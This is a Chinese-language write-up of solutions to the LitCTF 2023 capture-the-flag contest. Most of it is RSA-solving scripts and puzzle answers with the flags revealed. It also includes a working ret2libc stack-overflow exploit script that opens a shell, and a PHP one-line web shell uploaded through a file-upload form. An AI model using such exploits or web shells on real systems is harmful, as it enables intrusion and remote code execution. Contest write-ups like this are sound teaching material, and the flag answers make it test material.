LitCTF 2023 部分wp

LitCTF 2023

PWN

只需要nc一下~

根目录下的是假flag，真的在环境变量里

口算题卡

简单的计算题

import pwn
io = pwn.remote("node5.anna.nssctf.cn", 28364)

while True:
    rec = io.recvline()
    print(rec.decode())

    if b"?"in rec:
        list=rec.decode().replace('?','').split()
        result = eval(''.join(list[2:5]))
        data = str(result).encode()
        io.sendline(data)

等报错出来就得到flag了

狠狠的溢出涅~

基础栈溢出

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = remote('node5.anna.nssctf.cn',28494)
pwnfile='./pwn4'

elf = ELF(pwnfile)
libc_file_path = './libc-2.31.so'
libc = ELF(libc_file_path)

padding = 0x67
leak_fun_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_addr = 0x4007d3
main = elf.symbols['main']
ret_addr = 0x0000000000400556

io.recvuntil('Leave your message:')
payload = b'\0' + b'a'*padding + p64(pop_rdi_addr) + p64(leak_fun_got) + p64(puts_plt) + p64(main)
io.sendline(payload)

io.recvuntil('Ok,Message Received\n')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

io.recvuntil("Leave your message:")
puts_offset = libc.symbols['puts']
libc_addr = puts_addr - puts_offset
print('libc_addr:',hex(libc_addr))

system_offset = libc.symbols['system']
system_addr = libc_addr + system_offset
print('system_addr',hex(system_addr))

bin_sh_offset = next(libc.search(b'/bin/sh'))
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_addr',hex(bin_sh_addr))

payload2 = b'\0' + b'a'*padding  + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload2)
io.recvuntil('Ok,Message Received')

io.interactive()

Reverse

世界上最棒的程序员

ida打开，shift+F12搜索字符串得到flag：LitCTF{I_am_the_best_programmer_ever}

CRYPTO

Hex？Hex！

解Hex，得到flag：LitCTF{tai111coollaaa!}

梦想是红色的

社会主义核心价值观解密，得到flag：LitCTF{为之则易,不为则难}

原来你也玩原神

提瓦特文字

对照得到flag：LITCTF{YUANLAINIYEWANYUANSHENWWW}

家人们！谁懂啊，RSA签到都不会

p,q,e,c都有，最最最最最基础的RSA！

from Crypto.Util.number import *

p = 12567387145159119014524309071236701639759988903138784984758783651292440613056150667165602473478042486784826835732833001151645545259394365039352263846276073
q = 12716692565364681652614824033831497167911028027478195947187437474380470205859949692107216740030921664273595734808349540612759651241456765149114895216695451
e = 65537
c = 108691165922055382844520116328228845767222921196922506468663428855093343772017986225285637996980678749662049989519029385165514816621011058462841314243727826941569954125384522233795629521155389745713798246071907492365062512521474965012924607857440577856404307124237116387085337087671914959900909379028727767057
n=p*q
phi=(q-1)*(p-1)
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

#b'LitCTF{it_is_easy_to_solve_question_when_you_know_p_and_q}'

factordb

在线网站 http://factordb.com/ 分解n

from Crypto.Util.number import *

e = 65537
n = 87924348264132406875276140514499937145050893665602592992418171647042491658461
c = 87677652386897749300638591365341016390128692783949277305987828177045932576708
p=275127860351348928173285174381581152299
q=319576316814478949870590164193048041239
n=p*q
phi=(q-1)*(p-1)
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

#b'LitCTF{factordb!!!}'

P_Leak

dp泄露

import gmpy2
import libnum

e= 65537
dp= 5892502924236878675675338970704766304539618343869489297045857272605067962848952532606770917225218534430490745895652561015493032055636004130931491316020329
n= 50612159190225619689404794427464916374543237300894011803225784470008992781409447214236779975896311093686413491163221778479739252804271270231391599602217675895446538524670610623369953168412236472302812808639218392319634397138871387898452935081756580084070333246950840091192420542761507705395568904875746222477
c= 39257649468514605476432946851710016346016992413796229928386230062780829495844059368939749930876895443279723032641876662714088329296631207594999580050131450251288839714711436117326769029649419789323982613380617840218087161435260837263996287628129307328857086987521821533565738409794866606381789730458247531619
p=gmpy2.gcd(pow(2,e*dp,n)-2,n)
#print(p)

for i in range(1, e):
    p = (dp * e - 1) // i + 1
    if n % p == 0:
        q = n // p
        print(p)
        break

phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c, d, n)
#print(m)
flag = libnum.n2s(int(m))
print(flag)

#b'LitCTF{Prim3_1s_Le@k!!!!!}'

yafu

n为多素数积

# sagemath9.3

import gmpy2
import libnum

n = 15241208217768849887180010139590210767831431018204645415681695749294131435566140166245881287131522331092026252879324931622292179726764214435307
c = 12608550100856399369399391849907846147170257754920996952259023159548789970041433744454761458030776176806265496305629236559551086998780836655717
e = 65537
phi = euler_phi(n)
d = gmpy2.invert(e, phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))

#b'LitCTF{Mu1tiple_3m4ll_prim5_fac7ors_@re_uns4f5}'

e的学问

e和phi不互素

import gmpy2
import libnum

e=74
p= 86053582917386343422567174764040471033234388106968488834872953625339458483149
q= 72031998384560188060716696553519973198388628004850270102102972862328770104493
c= 3939634105073614197573473825268995321781553470182462454724181094897309933627076266632153551522332244941496491385911139566998817961371516587764621395810123
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
t1 = e // t
dt1 = gmpy2.invert(t1, phi)
mt1 = pow(c, dt1, n)
#print(mt1)
s, m = gmpy2.iroot(mt1, t)
print(libnum.n2s(int(s)))

#b'LitCTF{e_1s_n0t_@_Prime}'

The same common divisor

异或得到n2，最小公约数求p

import gmpy2
from Crypto.Util.number import *

n1= 9852079772293301283705208653824307027320071498525390578148444258198605733768947108049676831872672654449631852459503049139275329796717506126689710613873813880735666507857022786447784753088176997374711523987152412069255685005264853118880922539048290400078105858759506186417678959028622484823376958194324034590514104266608644398160457382895380141070373685334979803658172378382884352616985632157233900719194944197689860219335238499593658894630966428723660931647038577670614850305719449893199713589368780231046895222526070730152875112477675102652862254926169713030701937231206405968412044029177246460558028793385980934233
n3= 4940268030889181135441311597961813780480775970170156650560367030148383674257975796516865571557828263935532335958510269356443566533284856608454193676600884849913964971291145182724888816164723930966472329604608512023988191536173112847915884014445539739070437180314205284883149421228744714989392788108329929896637182055266508625177260492776962915873036873839946591259443753924970795669864031580632650140641456386202636466624658715315856453572441182758855085077441336516178544978457053552156714181607801760605521338788424464551796638531143900048375037218585999440622490119344971822707261432953755569507740550277088437182
c1= 7066425618980522033304943700150361912772559890076173881522840300333719222157667104461410726444725540513601550570478331917063911791020088865705346188662290524599499769112250751103647749860198318955619903728724860941709527724500004142950768744200491448875522031555564384426372047270359602780292587644737898593450148108629904854675417943165292922990980758572264063039172969633878015560735737699147707712154627358077477591293746136250207139049702201052305840453700782016480965369600667516646007546442708862429431724013679189842300429421340122052682391471347471758814138218632022564279296594279507382548264409296929401260
c2= 854668035897095127498890630660344701894030345838998465420605524714323454298819946231147930930739944351187708040037822108105697983018529921300277486094149269105712677374751164879455815185393395371001495146490416978221501351569800028842842393448555836910486037183218754013655794027528039329299851644787006463456162952383099752894635657833907958930587328480492546831654755627949756658554724024525108575961076341962292900510328611128404001877137799465932130220386963518903892403159969133882215092783063943679288192557384595152566356483424061922742307738886179947575613661171671781544283180451958232826666741028590085269
n2=n3^n1
#print(n2)
n2=13275392358603749049507302824073643158313511157306042129424622043169404438475070367199888792522735816696831092853554043588044629442339762181808939836068784930395387656511731023773900700005021564847480224798180592959510217158765133918150651706674329603149481255390797032771700235015269257730220757739489147426447858665350504461218790022992177725157756735193197648927044824616697206813752794351736481372892433605669363455272775767270738838271685683788851792503697508906872616175734362549442203442409947760416740297996886756365560632301306250478012961270642177511142736084877917270911656025730517314096773424314000497639

#n1=p*q1
#n2=p*q2
e=65537
p=gmpy2.gcd(n1,n2)
print(p)
p=94719927424407179559097379278598331426219665736925758883356208017201441609501349561869578255304543730077703898951251809509592215259248796747648789953238424438984058591393245455685873538467037385791128865102181068065167783963401976811367747317190298098904229431166441000923777869516488107339457633589707290103
q1=n1//p
q2=n2//p
#print(q1)
#print(q2)
q1=104012746210726545705789680691248566382853251133910236876038243437510784296184196320187187776771363313166977867406958719259028396635722258334573345243161167030007959006868509236262881011540625146091222223682904331888044825914279348316425931489349069836351221018235923860976755930087781234656707865421500657711
q2=140154165227780581817015412082229118072371342128693010186891822616849522057349369186199500975076779426764856972311311333961841158076064234038041826391087014159076192469954228505640491716233302330334060905669918673768242449100688363703222166887094608525930824967584107227414453993053284049888979769641293172113

phi1=(q1-1)*(p-1)
phi2=(q2-1)*(p-1)

d1=inverse(e,phi1)
d2=inverse(e,phi2)
m1=pow(c1,d1,n1)
m2=pow(c2,d2,n2)
print(long_to_bytes(m1))
print(long_to_bytes(m2))

#b'LitCTF{TH3_Tw0_nUmb3rs_H@v3_The_sAme_D1v1s0r!!}'
#b'LitCTF{TH3_Tw0_nUmb3rs_H@v3_The_sAme_D1v1s0r!!}'

easy_math

from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)
e = 65537
p = getPrime(512)
q = getPrime(128)
n = p*q
hint = p**3-q**5
c = pow(m,e,n)
print(f'n = {n}')
print(f'c = {c}')
print(f'hint = {hint}')
'''
n = 2230791374046346835775433548641067593691369485828070649075162141394476183565187654365131822111419512477883295758461313983481545182887415447403634720326639070667688614534290859200753589300443797
c = 2168563038335029902089976057856861885635845445863841607485310134441400500612435296818745930370268060353437465666224400129105788787423156958336380480503762222278722770240792709450637433509537280
hint = 392490868359411675557103683163021977774935163924606169241731307258226973701652855448542714274348304997416149742779376023311152228735117186027560227613656229190807480010615064372521942836446425717660375242197759811804760170129768647414717571386950790115746414735411766002368288743086845078803312201707960465419405926186622999423245762570917629351110970429987377475979058821154568001902541710817731089463915930932142007312230897818177067675996751110894377356758932
'''

要通过hint求得q

n=p*q
hint=p**3-q**5
p=n/q
n**3/q**3-q**5=hint
n**3=hint*q**3+q**8

# sagemath9.3

n=2230791374046346835775433548641067593691369485828070649075162141394476183565187654365131822111419512477883295758461313983481545182887415447403634720326639070667688614534290859200753589300443797
hint=392490868359411675557103683163021977774935163924606169241731307258226973701652855448542714274348304997416149742779376023311152228735117186027560227613656229190807480010615064372521942836446425717660375242197759811804760170129768647414717571386950790115746414735411766002368288743086845078803312201707960465419405926186622999423245762570917629351110970429987377475979058821154568001902541710817731089463915930932142007312230897818177067675996751110894377356758932
solve(n^3 == hint*q^3+q^8, q)

# [q == 304683618109085947723284393392507415311]

from Crypto.Util.number import *

q=304683618109085947723284393392507415311
n = 2230791374046346835775433548641067593691369485828070649075162141394476183565187654365131822111419512477883295758461313983481545182887415447403634720326639070667688614534290859200753589300443797
c = 2168563038335029902089976057856861885635845445863841607485310134441400500612435296818745930370268060353437465666224400129105788787423156958336380480503762222278722770240792709450637433509537280
p=n/q
e = 65537
phi=(q-1)*(p-1)
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

#b'LitCTF{f9fab7522253e44b48824e914d0801ba}'

Is this only base?

栅栏23 -> base64 -> 凯撒23

Euler

欧拉降幂

import gmpy2
from Crypto.Util.number import *

c = 406480424882876909664869928877322864482740577681292497936198951316587691545267772748204383995815523935005725558478033908575228532559165174398668885819826720515607326399097899572022020453298441
m=gmpy2.iroot(c,2)[0]
print(long_to_bytes(m))

#LitCTF{a1a8887793acfc199182a649e905daab}

你是我的关键词(Keyworld)

题目描述: YOU are my keworld

YOU就是密钥

得到flag：LITCTF{Y0U_AR3_MY_KEYW0RD}

MISC

What_1s_BASE

base64解密得到flag：LitCTF{KFC_Cr4zy_Thur3day_V_me_50}

Take me hand

追踪tcp流，在流1下就能看到 flag=LitCTF%7BGive_y0ur_hand_to_me%21%21%21_plz%7D

喜欢我的压缩包么

爆破得到密码：114514

得到flag图片

这羽毛球怎么只有一半啊（恼)

修改高度即可得到flag图片

破损的图片

修复图片文件头前八字节即可得到flag图片

【Minecraft】玩的开心～～～

钻石与村民兑换flag book

ssvvgg

010editor打开，是base64的jpg图片，提取出来

6位数字爆破steghide，用stegseek

得到flag：LitCTF{svg?_base642png!&steghide!}

雪山的秘密

将近3分钟的莫斯电码，直接网站识别 https://morsecode.world/international/decoder/audio-decoder-adaptive.html

得到

3.2-..3-.23-.32-32.-3..-/..2-223-.32-322-..3-..2-/2.2-3..-232-223BT..2-.32-/3.2-..3-.23-3.3-..3-/.32-32.-322-.3.-/.3.-33.-22.-23.-..3-.23-..2-SM..-/.2.-..3-IO.2-3..NUAK23-/23.-.33-.32-2.2-3..-/3.2-2J3-322-332-3..-233

直接扔百度里，得知是原神彩蛋·雪山代码

仔细一看，一模一样。那没事了，直接空格替换 _

得到flag：NSSCTF{FOR_THE_NATION_WE_CANT_FORGO_THIS_SKYBORNE_POWER_BUT_WE_FAILED}

两仪生四象

keylist={"乾": "111", "兑": "011", "离": "101", "震": "001", "巽": "110", "坎": "010", "艮": "100", "坤": "000"}
encoded_text = "坤 乾 兑 艮 兑 坎 坤 坤 巽 震 坤 巽 震 艮 兑 坎 坤 震 兑 乾 坤 巽 坤 艮 兑 震 巽 坤 巽 艮 坤 巽 艮 艮 兑 兑 艮 震 兑 乾 坤 乾 坤 坤 兑 艮 艮 坤 巽 坤 坤 巽 坎 坤 兑 离 坎 震 艮 兑 坤 巽 坎 艮 兑 震 坤 震 兑 乾 坤 乾 坎 坤 兑 坎 坤 震 艮 离 坤 离 乾 艮 震 艮 巽 震 离 震 坤 巽 兑 艮 兑 坎 坤 震 巽 艮 坤 离 乾 艮 坎 离 坤 震 巽 坎 坤 兑 坤 艮 兑 震 巽 震 巽 坎 坤 巽 坤 艮 兑 兑 坎 震 巽 兑"
keys = encoded_text.split()

decode_text = []
for key in keys:
    decode_text.append(keylist.get(key))
    result = ''.join(decode_text)
print(result)
flag = ''
res=''
for i in range(len(result)):
    res += result[i]        
    if (i+1) %  10 == 0:
        flag += chr(int(res,2))
        res = ''
print("LitCTF{"+flag+"}")

#LitCTF{wh1ch_ag4in_pr0duced_the_3ight_Tr1grams}

easy_shark

压缩包是伪加密，流量包追踪TCP流57得到key，flag密文

x有两解，17与77，猜测是仿射密码

flag格式：NSSCTF

NSSCTF{w13e5hake_1s_a_900d_t3a771c_t001_a}

WEB

可以看我队友全部web的wp，https://c4skg.top/C4skg/34bb0543.html

我Flag呢？

查看网页源代码 得到flag：NSSCTF{52112e92-e3eb-4b96-96ff-66171412260c}

导弹迷踪

flag在game.js中

Follow me and hack me

按要求传值即可

备份里是彩蛋题的，访问www.zip，在解压得到的index.php.bak中得到彩蛋3

<?php
        // 第三个彩蛋！(看过头号玩家么？)
        // _R3ady_Pl4yer_000ne_ (3/?)
?>

PHP是世界上最好的语言！！

命令执行

1zjs

访问index.umd.js得到注释 /f@k3f1ag.php

满屏Jsfuck，扔控制台就行

作业管理系统

查看网页源代码，得到 默认账户admin admin

登录后有上传文件区域，传个一句话木马

<?php @eval($_POST['cmd']);?>

上传成功后连接蚁剑

根目录下得到flag：NSSCTF{7cbf9f60-da45-4625-84fa-f02a1f7cdd32}

Http pro max plus

抓包改包，按照提示一步步如下

Client-IP: 127.0.0.1 #本地访问
Referer: pornhub.com #来自 pronhub.com
User-Agent: Chrome   #使用 Chrome 浏览器
Via: Clash.win       #使用 Clash.win 代理

访问 wtfwtfwtfwtf.php

最后访问sejishikong.php得到flag：NSSCTF{e5581f96-b583-40a5-b53d-bbb5c59dcf93}